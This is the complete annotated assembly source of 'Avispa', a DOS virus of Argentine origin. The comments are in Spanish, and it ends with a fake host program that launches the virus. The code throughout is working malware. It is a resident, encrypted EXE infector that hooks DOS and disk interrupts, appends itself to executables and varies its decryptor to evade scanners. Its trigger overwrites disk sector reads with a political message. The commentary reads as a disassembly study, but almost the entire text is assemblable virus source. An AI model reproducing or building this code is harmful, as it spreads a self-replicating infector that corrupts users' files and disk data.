; ------------Código fuente del VIRUS AVISPA ---------------------------------
avispa          segment byte public
; Desensamblado por peron..
       assume cs:avispa, ds:avispa, es:avispa, ss:avispa
       .186
       org 100h
; Virus: Avispa
; Tipo: Residente, Parasítico, Infector de EXE, Encriptado
; Size: 2048(+15) bytes.
; Origen: Argentina, c.1990
; Autor: "Elijah Baley"
Start:
; Rutina desencriptora. Varía de modalidad infectora
; a infeccion en algunos bytes, pues el virus hace todo un intercambio.
       MOV     BX,0
       PUSH    CX
       POP     CX
       ADD     BL,0
       PUSH    DX
       POP     DX
Decrypt:
       MOV     AX,cs:[BX]
       PUSH    DX
       POP     DX
       MOV     CX,0
       PUSH    DX
       POP     DX
       SUB     CL,0
       PUSH    SI
       POP     SI
       NOP
       XOR     AX,CX
       PUSH    SI
       POP     SI
       MOV     cs:[BX],AX
       PUSH    SI
       POP     SI
       INC     BX
       NOP
       INC     BX
       PUSH    SI
       POP     SI
       MOV     AX,0
       PUSH    DI
       POP     DI
       ADD     AX,0
       PUSH    DI
       POP     DI
       NOP
       CMP     BX,AX
       PUSH    DI
       POP     DI
       JB      Decrypt
       NOP
VirBegin:
       JMP     StartVir
; Data
       fHandler        dw      0 ; Handler del file a infectar
       OldEntryPoint   dd      0 ; CS:IP del header EXE
       OldStackPtr     dd      0 ; SS:SP del header EXE
       ErrorVar        db      0 ; Flag de error (1 ==> Error)
       ; la linea que sigue es un desperdicio de 4 bytes
                       db      0,0,0,0 ; al pedo 1
       OldInt21        dd      0 ; Puntero a ISR de INT 21 original.
       NamePtr         dd      0 ; Puntero a filename en llamada a 4B INT 21.
       OldInt24        dd      0 ; Puntero a ISR de INT 24 original.
       ; esto ya es medio alevoso.
                       db      0,0,0,0 ; al pedo 2
       OldInt13        dd      0 ; Puntero a ISR de int 13 original.
       ReadBuffer      db      34h dup(?) ; Buffer para lectura (usado para autoreconocimiento del virus)
       fAttr           dw      0 ; Atributo del file a infectar.
       fTimeDate       dd      0 ; Time & Date del file.
       BytePara        db      0 ; Nro. de bytes que faltan para el para.
       ShitByte        db      0 ; byte para la garbage para poner al final.
       MemBlock        dw      0 ; usado durante la infeccion.
       ; comienzo a sospechar que puso ceros para despistar.
                       db      0, 0 ; al pedo 3
       VirName db      "__ Virus Avispa - Buenos Aires - Noviembre 1993 __"

; ...........................................................................
; Rutina instaladora
; Aqui viene el control luego de que el virus ha sido desencriptado.
StartVir:
       MOV     AX,4BFFh ; residence test
       INT     21h      ; definido por el mismo
       CMP     AX,4BFEh
       JNZ     Install_Virus ; Si no esta en memoria => Instalar virus
; Esta en memoria. Correr hoste.
       MOV     AX,word ptr cs:OldStackPtr+2
       MOV     BX,DS
       ADD     AX,10h
       ADD     AX,BX   ; Pone en SS y SP sus valores originales
       MOV     SS,AX   ; (del header exe previo a la infeccion).
       MOV     AX,word ptr cs:OldStackPtr
       MOV     SP,AX
       MOV     AX,cs:word ptr OldEntryPoint+2; del CS:IP de entrada.
       MOV     BX,DS   ; Y a hora saltar al adress original
       ADD     AX,10h
       ADD     AX,BX
       PUSH    AX
       MOV     AX,cs:word ptr OldEntryPoint
       PUSH    AX
       RETF

; Si no esta en memoria...
Install_Virus:
       PUSH    DS      ; Lo que esta haciendo es copiar su
       POP     ES      ; propio codigo, que esta al final del
       MOV     DI,100h ; bloque de memoria del programa hoste
       PUSH    CS      ; al principio de este bloque, para asi
       POP     DS      ; quedar residente correctamente con
       MOV     SI,100h ; una llamada normal a DOS.
       CLD             ; Esto produce que no pueda pasar el control al
       MOV     CX,800h ; hoste entregando el control al CS:IP si tiene que
       REPZ            ; instalarse. Para hacerlo, debe correrlo via 4B.
       MOVSB

       PUSH    ES      ; A continuacion salta al codigo que acaba de copiar.
       PUSH  offset Branch_Address
       RETF
Branch_Address:
       PUSH    CS      ; modifica el bloque de memoria para
       POP     DS      ; ponerlo en 90 paragrafos
       MOV     AH,4Ah  ; (2304 bytes)
       PUSH    CS
       POP     ES
       MOV     BX,90h
       INT     21h

; Colgadas de las interrupciones.
       MOV     AX,3521h        ; Obtener IVT entry de Int 21
       INT     21h
       MOV     word ptr OldInt21,BX; y guardarla.
       MOV     word ptr OldInt21+2,ES
       MOV     AX,3513h        ; Obtener Int 13
       INT     21h
       MOV     word ptr OldInt13,BX; y guardarla
       MOV     word ptr OldInt13+2, ES
       MOV     AX,2521h        ; hookear int 21
       MOV     DX,offset NewInt21
       INT     21h
       MOV     AX,2513h        ; hookear int 13
       MOV     DX,offset NewInt13
       INT     21h

       MOV     ES,word ptr ds:[2Ch]
       MOV     BX,0
GetName:
       MOV     AX,es:[BX]
       CMP     AX,0
       JZ      GotName
       INC     BX
       CMP     BX,12Ch
       JNZ     GetName
       ;JMP    KeepRes ; Este JMP hay que hacerlo HARD CODED!
aux_1:  db 0e9h
       dw offset KeepRes-3-offset aux_1

; Rutina de datos. Es usado para llamar a prog orign.
DataForRun:
       dw       ?      ; Environment Segment
       dw       0080H
       dw       ?      ; Far pointer to Command Line
       dw       005CH
       dw       ?      ; Far pointer to FCB 1
       dw       006CH
       dw       ?      ; Far pointer to FCB 2
GotName:
       ADD     BX,4
       MOV     DX,BX
       MOV     word ptr DataForRun,ES
       MOV     word ptr DataForRun+4,CS
       MOV     word ptr DataForRun+8,CS
       MOV     word ptr DataForRun+12,CS
       MOV     BX,offset DataForRun
       PUSH    ES
       POP     DS
       PUSH    CS
       POP     ES
       MOV     AX,4B00h
       PUSH    CS
       POP     SS
       MOV     SP,900h
       PUSHF
       CALL    dword ptr cs:OldInt21
       PUSH    DS
       POP     ES
       MOV     AH,49h
       INT     21h
; Quedar residente mediante INT21 AH=31. con 90 para.
KeepRes:
       MOV     AH,31h
       MOV     DX,90h
       INT     21h
; El código que sigue desperdicia 4 bytes al pedo.
; Quiza Elijah no sabia que AH=31 INT 21 no devuelve el control :-)
; (o Elijah gorilearía de gil nomás)
       MOV     AH,4Ch
       INT     21h

; ...........................................................................
; Rutinas residentes

NewInt21:
       CMP     AX,4BFFh
       JNZ     GoOn
       DEC     AX              ; residence test
       IRET
; no es residence test.
GoOn:
       CMP     AX,4B00h        ; Es funcion Run program?
       JZ      RunProgramFunc
       JMP     dword ptr cs:OldInt21 ; no => INT 21 original.

RunProgramFunc:
       PUSHA
       PUSH    ES
       PUSH    DS
       MOV     cs:word ptr NamePtr+2,DS; guardar ds
       MOV     cs:word ptr NamePtr,DX  ; y dx en memoria cuidadosamente.
       CALL    Infect                  ; llamar a rutina infectora.
       POP     DS
       POP     ES
       POPA
       JMP     dword ptr cs:OldInt21   ; int 21 original.

Infect:
       CALL    CheckName       ; chequeo del nombre
       PUSH    CS
       POP     DS
       CMP     AH,0            ; Si el nombre = OK infecta.
       JZ      NameIsOk
       MOV     AH,1            ; si el nombre del file termina con
       RET                     ; AN, LD, OT, an, ld, ot, no infecta

NameIsOk:
       MOV     AH,3Dh          ; Abrir el file para r/w
       MOV     AL,2
       MOV     DX,word ptr NamePtr
       MOV     DS,cs:word ptr NamePtr+2
       PUSHF
       CALL    dword ptr cs:OldInt21
       JB      ErrorAndGetOut  ; Si hubo error => Sale
       PUSH    CS
       POP     DS
       MOV     fHandler,AX     ; Guardar el handler
       MOV     BX,AX

       MOV     AH,3Fh          ; Leer 7f bytes a offset 80.
       MOV     CX,7Fh          ; (cs:80+80h =  cs:ff, je je)
       MOV     DX,80h
       PUSHF
       CALL    dword ptr cs:OldInt21

       MOV     AH,3Eh
       MOV     BX,fHandler
       PUSHF
       CALL    dword ptr cs:OldInt21   ; cerrar file.

       CMP     WORD PTR ds:[80h],5A4Dh ; Si no es exe, no infecta
       JNZ     ErrorAndGetOut
       CMP     WORD PTR ds:[94h],0     ; Si CS o IP=0, AH=1 y
       JNZ     ProceedInfect                           ; no infecta.
       CMP     WORD PTR ds:[96h],0     ; sino, infecta. (335)
       JZ      ErrorAndGetOut
       ;JMP    ProceedInfect           ; otro que hay que hacer hard coded
aux_2:  db 0e9h
       dw offset ProceedInfect-offset aux_2-3

ErrorAndGetOut:
       MOV     AH,1
       RET

ProceedInfect:
       PUSH    CS
       POP     DS
       MOV     AH,3Dh                  ; reabre el file.
       MOV     AL,2
       MOV     DX,word ptr NamePtr
       MOV     DS,word ptr cs:NamePtr+2
       PUSHF
       CALL    dword ptr cs:OldInt21

       JB      ErrorAndGetOut          ; Si hubo error => Sale con error
       PUSH    CS
       POP     DS
       MOV     fHandler,AX             ; Guarda el handler de nuevo
       MOV     AX,4202h                ; Mover el puntero al final del
       MOV     BX,fHandler             ; file.
       MOV     DX,0
       MOV     CX,0
       INT     21h
       CMP     AX,34h                  ; Si ax>= 34h ==> dx
       JB      DecDx                   ; Si ax<34h ==> dx--;
       ;JMP    Sub34 ; otro hard coded
aux_3:  db 0e9h
       dw offset Sub34-offset aux_3-3
DecDx:
       DEC     DX
Sub34:
       SUB     AX,34h       ; Le resta 34h al size del file.
       MOV     CX,DX
       MOV     DX,AX
       MOV     AX,4200h
       MOV     BX,fHandler  ; Mueve el ptr 34h bytes adelante
       INT     21h          ; del eof.

       MOV     AH,3Fh       ; Lee 34h bytes a Buffer
       MOV     BX,fHandler
       MOV     CX,34h
       MOV     DX,offset ReadBuffer
       INT     21h

       MOV     AH,3Eh       ; Cierra el file.
       MOV     BX,fHandler
       INT     21h

       MOV     BX,offset ReadBuffer ; Esta porción de codigo es para
       MOV     CX,[BX]              ; auto-reconocerse.
       ADD     BX,2                 ; Mientras otros virus encriptados y
       MOV     DX,0                 ; polimorficos se reconocen
LoopChecksum:                        ; manipulando la fecha u hora del file
       MOV     AX,[BX]              ; como el Gisela, este implementa un
       XOR     AX,CX                ; pseudo-checksum. Muy Bueno.
       ADD     DX,AX
       INC     BX
       INC     BX
       CMP     BX,offset ReadBuffer+34h
       JNZ     LoopChecksum
       CMP     DX,7DDAh
       JNZ     NotInfected     ; Si no esta, ==> NotInfected
GetOut:
       JMP     ErrorAndGetOut          ; Si ya esta infectado, sale
NotInfected:
       MOV     AX,3524h                ; Guarda viejo vector y captura
       INT     21h                     ; la int de Critical error handler
       MOV     word ptr OldInt24,BX    ; a una rutina 'dummy'
       MOV     word ptr OldInt24+2,ES
       MOV     AX,2524h
       MOV     DX,offset NewInt24      ; dummy error handler
       INT     21h

       MOV     AH,43h                  ; Obtiene el atributo del file.
       MOV     AL,0
       MOV     DX,word ptr NamePtr
       MOV     DS,cs:word ptr NamePtr+2
       INT     21h

       PUSH    CS
       POP     DS
       MOV     BYTE PTR ErrorVar,0     ; pone 0 en la variable de er.
       MOV     fAttr,CX                ; guarda el atributo.

       MOV     AH,43h                  ; Pone el atributo del file.
       MOV     AL,1                    ; a 0, pasando por encima de la
       MOV     DX,word ptr NamePtr     ; flag ReadOnly
       MOV     CX,0
       MOV     DS,cs:word ptr NamePtr+2
       INT     21h
       ; JMP   Skip1 ; otro hard coded y van... pero con que mierda
aux_4:  db 0e9h; ensambla este tipo?
       dw offset Skip1-offset aux_4-3
NearGetOut:
       JMP     GetOut
Skip1:
       PUSH    CS
       POP     DS
       MOV     AX,2524h                ; Vuelve a poner en el valor original
       MOV     DX,word ptr OldInt24    ; al vector de INT 24
       MOV     DS,cs:word ptr OldInt24+2
       INT     21h

       PUSH    CS
       POP     DS
       CMP     BYTE PTR ErrorVar,1     ; Ve la flag de error.
       JZ      GetOut                  ; si lo hubo, sale

; si no hubo error, sigue aqui
       MOV     AH,3Dh                  ; Reabre el file (3ra vez!) en
       MOV     AL,2                    ; modo lectura escritura/
       MOV     DX,word ptr NamePtr
       MOV     DS,cs:word ptr NamePtr+2
       PUSHF
       CALL    dword ptr cs:OldInt21

       JB      NearGetOut              ; si hubo error, sale
       PUSH    CS
       POP     DS
       MOV     fHandler,AX             ; guarda el handler

       MOV     AH,57h                  ; Obtiene la vieja time&date
       MOV     AL,00                   ; stamp del file
       MOV     BX,fHandler
       INT     21h
       MOV     word ptr fTimeDate,DX   ; y la guarda
       MOV     word ptr fTimeDate+2,CX
       MOV     BYTE PTR BytePara,0     ; clarea la cuenta de bytes para el paragr.

RoundToPara:
       MOV     AX,4202h                ; mueve el puntero al fin del file
       MOV     BX,fHandler
       MOV     CX,0
       MOV     DX,0
       INT     21h
       CMP     CX,0fh
       JA      NearGetOut2

       MOV     BX,10h                  ; Ve si el file termina en paragrafo
       DIV     BX
       CMP     DX,0
       JZ      RoundedUp               ; Termina en para => RoundedUp

       MOV     AH,40h                  ; Si no termina el paragrafo,
       MOV     BX,fHandler             ; escribe un byte de "shitbyte"
       MOV     CX,1                    ; y vuelve a empezar todo.
       MOV     DX,offset ShitByte
       INT     21h
       MOV     AH,BytePara             ; incrementa el nro. de bytes para el
       INC     AH                      ; paragrafo.
       MOV     BytePara,AH
       JMP     RoundToPara

; Si al pedir largo de file, CX = 15 viene aca
NearGetOut2:
       PUSH    CS
       POP     DS
       MOV     AH,3Eh                          ; Cierra el file
       MOV     BX,fHandler
       INT     21h
       MOV     AH,1                            ; y vuelve con error.
       RET

; Aqui ya redondeo el fin del file en párrafo.
; El header EXE del file esta en offset 80.
RoundedUp:
       SUB     AX,10h          ; En ax tenia el numero de parafos del file.

       MOV     CX,ds:[84h]     ; Modifica el numero de 'paginas'
       ADD     CX,4            ; de 512 b. del header exe
       MOV     ds:[84h],CX
       SUB     AX,ds:[88h]     ; (le resta el header size)
       MOV     CX,ds:[94h]     ; Guarda en variables el viejo entry point.
       MOV     word ptr OldEntryPoint,CX
       MOV     CX,ds:[96h]
       MOV     word ptr OldEntryPoint+2,CX
       MOV     CX,ds:[8Eh]     ; Idem el viejo SS:SP
       MOV     word ptr OldStackPtr+2,CX
       MOV     CX,ds:[90h]
       MOV     word ptr OldStackPtr,CX

       MOV     ds:[96h],AX             ; Modifica el CS del header
       MOV     ds:[8Eh],AX             ; Modifica el SS del header
       MOV     WORD PTR ds:[90h],900h  ; pone sp
       MOV     WORD PTR ds:[94h],100h  ; e ip a valores constantes
       MOV     AX,ds:[82h]
       SUB     BX,BX
       MOV     BL,BytePara
       ADD     AX,BX
       MOV     ds:[82h],AX             ; Modifica el reminder
       MOV     AH,48h
       MOV     BX,90h                  ; pide un 2do bloque de memoria.
       INT     21h                     ; de 90 para.
       JB      NearGetOut2             ; si error => sale
       MOV     cs:word ptr MemBlock,AX ; guarda el seg del bloque obt.
       MOV     ES,MemBlock
       MOV     DI,100h
       MOV     SI,100h
       CLD
       MOV     CX,800H ;?               ; se copia en ese bloque.
       REPZ
       MOVSB

       CALL    VariableEncryption      ; Variabiliza la otra copia del vir.
       PUSH    CS
       POP     DS
       MOV     BX,fHandler             ; escribe al final del file la
       MOV     CX,800H                 ; copia del otro bloque
       MOV     AH,40h
       MOV     DX,100h
       MOV     DS,cs:MemBlock
       INT     21h
       PUSH    CS
       POP     DS
       MOV     AH,42h                  ; se mueve al principio del file
       MOV     AL,0
       MOV     BX,fHandler
       MOV     CX,0
       MOV     DX,0
       INT     21h
       MOV     AH,40h                  ; escribe el header exe modified
       MOV     BX,fHandler
       MOV     CX,1Eh
       MOV     DX,80h
       INT     21h

       PUSH    CS
       POP     DS
       MOV     AH,57h                  ; repone la vieja time and date
       MOV     AL,1                    ; stamp
       MOV     CX,word ptr fTimeDate+2
       MOV     DX,word ptr fTimeDate
       MOV     BX,fHandler
       INT     21h
       MOV     AH,3Eh                  ; cierra el file
       MOV     BX,fHandler
       INT     21h
       MOV     AH,43h                  ; repone el viejo atributo
       MOV     AL,1
       MOV     CX,fAttr
       MOV     DX,word ptr NamePtr
       MOV     DS,cs:word ptr NamePtr+2
       INT     21h
       PUSH    CS
       POP     DS
       MOV     AH,49h                  ; libera el bloque de memoria
       MOV     ES,MemBlock
       INT     21h
       MOV     AH,0
       RET                             ; sale

       CryptKey                dw      0; Variable de Encripción
GarbageInstruccions:
; Estas instrucciones-basura son usadas para variabilizar la rutina de
; desencripcion del virus durante la encripcion.
       MOV     AH,AH
       MOV     BH,BH
       MOV     CH,CH
       MOV     DH,DH
       MOV     AL,AL
       MOV     BL,BL
       MOV     CL,CL
       MOV     DL,DL
       PUSH    AX
       POP     AX
       PUSH    BX
       POP     BX
       PUSH    CX
       POP     CX
       PUSH    DX
       POP     DX
       PUSH    SI
       POP     SI
       PUSH    DI
       POP     DI
       PUSH    ES
       POP     ES
       PUSH    DS
       POP     DS
       MOV     CL,CL

VariableEncryption:
; La llama ANTES de escribir el codigo en el 2do bloque de mem.
; Como se puede ver, no es polimorfismo sino en todo caso "encripcion variable"
       MOV     DS,cs:MemBlock  ; mueve a ds el 2 bloque del v.
       PUSH    AX
       MOV     AX,0040h
       MOV     ES,AX
       POP     AX
       XOR     DX,DX                   ; lee el byte menos significat
       MOV     DL,es:[6Ch]             ; de los ticks since midnight
       MOV     CX,offset VirBegin; le resta a 314 (13a) eso.
       SUB     CL,DL
       MOV     word ptr Start+1,CX     ; guarda resto en orden mov
       MOV     WORD PTR Start+5,0C380h ; pone "add bl, "
       MOV     byte ptr Start+7,DL     ; y el dl en orden add
       MOV     DX,es:[6Ch]             ; en DX a los ticks le suma
       ADD     DX,CS:MemBlock          ; el seg del bloque
       MOV     CS:CryptKey,DX          ; y lo guarda
       MOV     CX,ES:[6Ch]             ; a la word - sign. de los  ticks le
       ADD     CX,ES:[6Eh]             ; suma la word + significativa.
       MOV     CH,0                    ; Todo esto es para sacar un valor
       ADD     DL,CL                   ; mas o menos azaroso.
       MOV     word ptr Start+10h,DX   ; y guarda
       MOV     byte ptr Start+16h,CL
       MOV     AX,CX

       ; Para Randomizar el XOR AX, CX | NOP
       JPE     IsEven
       MOV     WORD PTR Start+19h,0C133h; si no es par =>
       MOV     BYTE PTR Start+1bh,90h  ; xor ax, cx | nop
       ; JMP   IsOdd ; increible. que ensambla, en A86? caray!
aux_5:  db 0e9h
       dw offset IsOdd-offset aux_5-3
IsEven:
       MOV     BYTE PTR Start+19h,90h  ; si es par =>
       MOV     WORD PTR Start+1ah,0C133h; nop | xor ax, cx

       ; Rutina para Randomizar el ADD BX, 2
IsOdd:
       CMP     WORD PTR Start+23h,4343h ; inc bx | inc bx | nop?
       JZ      IsIncIncNop
       CMP     WORD PTR Start+24h,4343h ; nop | inc bx | inc bx?
       JZ      IsNopIncInc
       CMP     WORD PTR Start+23h,0C383h ; add bx, ?
       JZ      IsAdd
       MOV     WORD PTR Start+23h,4343h ; inc bx | nop | inc bx =>
       MOV     BYTE PTR Start+25h,90h  ; INC BX | INC BX | NOP
       ; JMP   Skip2Next ; esto ya es una joda
aux_6:  db 0e9h
       dw offset Skip2Next-offset aux_6-3
IsIncIncNop:
       MOV     BYTE PTR Start+23h,90h  ; inc bx | inc bx | nop
       MOV     WORD PTR Start+24h,4343h ; NOP | INC BX | INC BX
       ; JMP   Skip2Next ; esto ya me esta cansando
aux_7:  db 0e9h
       dw offset Skip2Next-offset aux_7-3
IsNopIncInc:
       MOV     WORD PTR Start+23h,0C383h ; nop | inc bx | inc bx
       MOV     BYTE PTR Start+25h,2            ; SUB AX, 2
       ; JMP   Skip2Next ; de mas esta decir que tengo las pelotas hasta el suelo
aux_8:  db 0e9h
       dw offset Skip2Next-offset aux_8-3
IsAdd:
       MOV     BYTE PTR Start+23h,43h  ; add bx, ?
       MOV     BYTE PTR Start+24h,90h  ; INC BX | NOP | INC BX
       MOV     BYTE PTR Start+25h,43h

       ; Rutina para Randomizar el mov ax, fin
Skip2Next:
       MOV     CX,8CCh ; largo total
       MOV     DX,es:[6Dh]
       SUB     CX,DX
       MOV     word ptr Start+29h,CX
       MOV     word ptr Start+2eh,DX
       MOV     AX,DX
       ; Rutina para randomizar el cmp bx, ax | nop
       JPE     IsEven2
       MOV     WORD PTR Start+32h,0C339h
       MOV     BYTE PTR Start+34h,90h
       ; JMP   DoneCmpNop; si encuentro al autor del A86 lo castro
aux_9:  db 0e9h
       dw offset DoneCmpNop-offset aux_9-3
IsEven2:
       MOV     BYTE PTR Start+32h,90h
       MOV     WORD PTR Start+33h,0C339h
       ; Rutina para agregar ordenes trash
DoneCmpNop:
       MOV     CX,0Bh
       MOV     BX,offset Start+3
AddTrash:
       XOR     DX,DX           ; Esta parte del codigo cambia las "ordenes
       XOR     AX,AX           ; basura" de la rutina de encripcion.
       MOV     AL,es:[6Ch]
       ADD     AL,BL
       MOV     DL,10h
       DIV     DL
       ADD     AL,AL
       MOV     AH,00
       MOV     SI,offset GarbageInstruccions
       ADD     SI,AX
       MOV     DX,cs:[SI]
       MOV     [BX],DX
       ADD     BX,5
       LOOP    AddTrash

       ; Rutina para encriptar el codigo en si.
       PUSH    CS
       POP     DS
       MOV     ES,MemBlock     ; ES <= VIRUS SEGMENT
       MOV     BX,offset VirBegin; BX <= BASE ADRESS
       MOV     CX,CryptKey     ; CX <= ENCRYPTION KEY
EncryptIt:
       MOV     AX,ES:[BX]
       XOR     AX,CX
       MOV     ES:[BX],AX
       INC     BX
       INC     BX
       CMP     BX,8CCh
       JB      EncryptIt

       ; Esta rutina pone basura en la cola del virus
       PUSH    CS
       POP     DS
       MOV     DI,8CEh
       MOV     ES,MemBlock
       MOV     SI,offset VirName
       CLD
       MOV     CX,32h
       REPZ
       MOVSB
       PUSH    AX
       MOV     AX,40h
       MOV     ES,AX
       POP     AX
       MOV     CX,es:[6Ch]
       MOV     ES,cs:MemBlock
       MOV     es:[8CCh],CX
       MOV     BX,8CEh
TooMuchShit:
       MOV     AX,es:[BX]
       XOR     AX,CX
       MOV     es:[BX],AX
       INC     BX
       INC     BX
       CMP     BX,900h
       JB      TooMuchShit
       RET

CheckName: ; Compara si el nombre dado en DS:DX
; Si las ultimas dos letras son AN, LD, OT, o an, ld, ot, devuelve 1 en ah
; si no devuelve ah=0
       MOV     BX,DX
GetPoint:
       CMP     BYTE PTR [BX],2Eh               ; busca el punto, para ext.
       JZ      GotPoint
       INC     BX
       JMP     GetPoint
GotPoint:
       CMP     WORD PTR [BX-2],4E41h; Ultimas dos letras AN
       JZ      BadName
       CMP     WORD PTR [BX-2],6E61h; Ultimas dos letras an
       JZ      BadName
       CMP     WORD PTR [BX-2],444Ch; Ultimas dos letras LD
       JZ      BadName
       CMP     WORD PTR [BX-2],646Ch; Ultimas dos letras ld
       JZ      BadName
       CMP     WORD PTR [BX-2],544Fh; Ultimas dos letras OT
       JZ      BadName
       CMP     WORD PTR [BX-2],746Fh; Ultimas dos letras ot
       JZ      BadName
       MOV     AH,0
       RET
BadName:
       MOV     AH,1
       RET

NewInt24: ; errorhandler
; Rutina 'dummy' para int 24.
; Excepto que setea una variable a uno.
       MOV     BYTE PTR cs:ErrorVar,1
       IRET

NewInt13:
; Rutina reemplazo int 13.
       CMP     AH,2                    ; Es para lectura?
       JZ      ReadFunc
BackToInt13:
       JMP     dword ptr CS:OldInt13   ; Si no, llama a int 13 original.
; es para lectura
ReadFunc:
       CMP     CH,0Ah          ; Si nro. de track<10=int 13 orig.
       JB      BackToInt13
; Rutina de espoleta ...
       PUSH    ES
       PUSH    AX
       PUSH    AX
       MOV     AX,40h          ; Se fija variable de BIOS en
       MOV     ES,AX           ; 40:6C = Timer ticks since midnight
       POP     AX              ; Es un DWORD.
       MOV     AX,es:[6Ch]
       CMP     AX,0
       JZ      ItsZero         ; Si es cero: => 75a
       POP     AX
       POP     ES
       JMP     BackToInt13     ; Si != 0, Int 13 orign.
ItsZero:
       POP     AX
       POP     ES
       PUSHF

       CALL    dword ptr cs:OldInt13; Llama a int 13 original con
       JB      ReadError       ; Valores originales. Error => sale

       PUSHA
       PUSH    ES
       PUSH    DS
       PUSH    CS
       POP     DS
       MOV     DI,BX           ; Sobreescribe lo leido con el texto
       MOV     SI,offset Text  ; mas abajo
       MOV     CX,200h
       CLD
       REPZ
       MOVSB
       POP     DS
       POP     ES
       POPA
ReadError:
       IRET

       ; Cabeza de Guerra.
       ; Este clásico cadena de texto en el que insulta a Menem
       ; por la "picadura de avispa" de 1993 y la amnistía a genocidas.
Text    db "$$ Virus AVISPA $$ Republica Argentina$$ Elijah Baley "
       db "$$ Noviembre 10 de 1993 "
       db "$$ This program is not an old virus variant, and it was written "
       db "in Argentina by Elijah Baley. It uses polymorphic technics to"
       db " avoid conventional scanning."
       db "$$ MENEM: Libertador de torturadores y asesinos de inocentes, que"
       db " Dios se apiade de tu pobre alma. $$ 64446"
ends avispa
end Start
; --------------------- AVISPA :  -------------------------------------------
El carrier
; -------------------- Fake Hoste :  ----------------------------------------
hoste           segment byte public
       assume cs:hoste, ds:hoste, es:hoste, ss:hoste
       org 100h
FakeHoste:
       mov ax, 4bffh
       int 21h
       cmp ax, 4bfeh
       jnz InstallIt
       mov ax, 4c00h
       int 21h
InstallIt:
       mov ax, cs
       add ax, 80h
       mov ss, ax
       mov sp, 0
       push ax
       push 100h
       retf
EndHoste:
       db  800h-(offset EndHoste-offset FakeHoste) DUP('a');
ends
end FakeHoste
; -------------------- Fake Hoste :  ----------------------------------------